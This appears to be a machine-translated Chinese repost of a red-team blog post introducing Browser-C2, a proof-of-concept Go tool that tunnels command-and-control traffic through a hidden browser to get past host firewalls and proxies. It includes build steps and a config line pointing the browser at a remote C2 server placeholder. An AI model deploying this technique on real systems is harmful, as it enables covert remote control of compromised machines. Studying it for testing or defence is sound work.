介绍
近年来,公司开始变得更加安全。如果你能在一天之内“完成”你的笔试前5到6年,那么提高安全意识会让他们“更难”,更具挑战性。
这篇博文将描述我在参与过程中遇到的一些“挑战”,我如何解决它并将描述Browser-C2。
因此,想象一下获得初始立足点到枢轴点,但是您无法建立外部连接,因为每个端点都有严格的基于主机的防火墙策略,并且它们正在使用代理。我想到的第一件事就是他们使用某种基于主机的防火墙,因为即使在同一个子网上我也无法建立连接,因此策略基于应用程序。
为了验证我的理论,我通过我的支点执行了一个隐藏的浏览器窗口来访问特定的URL,然后我收到了回调。这意味着允许浏览器进行连接,我需要使用某种基于浏览器的通信。
起初我想,“好吧可能有一个工具来做到这一点”,但我错了。所以这就是一切都开始了,我最终编写了Browser-C2,这是一个使用legitemate浏览器进行命令和控制操作的POC代码。
Browser-C2架构
Browser-C2架构非常简单。有两个要素。第一个是服务器,另一个是代理。
服务器将启动一个HTTP侦听器,它将等待来自“受害者”浏览器的回调和数据。
代理将在本地启动HTTP侦听器,并执行浏览器以连接到服务器。
所有通信都由客户端浏览器完成,并通过HTTP请求发送给代理。
架构如下:
此代码仍然是POC,并没有很好地实现。
还有很大的改进空间,例如(过滤代理名称中的输入,Access-Allow-Origin标头,加密支持,检查XMLHTTP请求是否成功等),所以在使用它之前请记住这一点。生产和继电100%。
Browser-C2演示
那么说话就让我们演示吧。
Browser-C2组件内置于Go。首先,您需要安装gorilla / mux和chzyer / readline。
在编译任何组件之前,您需要进行一些更改。
代理人
您需要首先在agent.go中配置C2Url以匹配您自己的C&C URL。
如果您只想允许一个特定URL访问代理HTTP服务器,请指定自定义Access-Control-Allow-Origin。
配置完上述信息后,可以通过运行编译代理
C:\Users\pwn\go\src\Browser-C2\agent > go build agent.go
服务器
您可以更改服务器上的默认选项,如侦听端口。同样在文件中jquery.js
你需要更改
var url = "http://SERVER IP:8080/"; // URL of the Remote Endpoint
var local_url = "http://127.0.0.1:8081/"; // URL of the Agent Local Endpoint
要编译服务器,请转到项目的主目录并:
C:\Users\pwn\go\src\Browser-C2 > go build
编译组件后,运行C2上的服务器和“受害者”机器中的代理。
在建立连接时,它将打印代理名称。您可以使用该use {AGENT NAME}
命令连接到它。在代理工作区后,它是远程系统的虚拟CMD。
向连接的代理程序执行命令的示例。
对于Browser-C2来说就是这样。正如我之前提到的,这段代码非常简洁,并且有很多方法可能会出错。希望你喜欢这篇短文。
本文作者为Mr.Bai,转载请注明。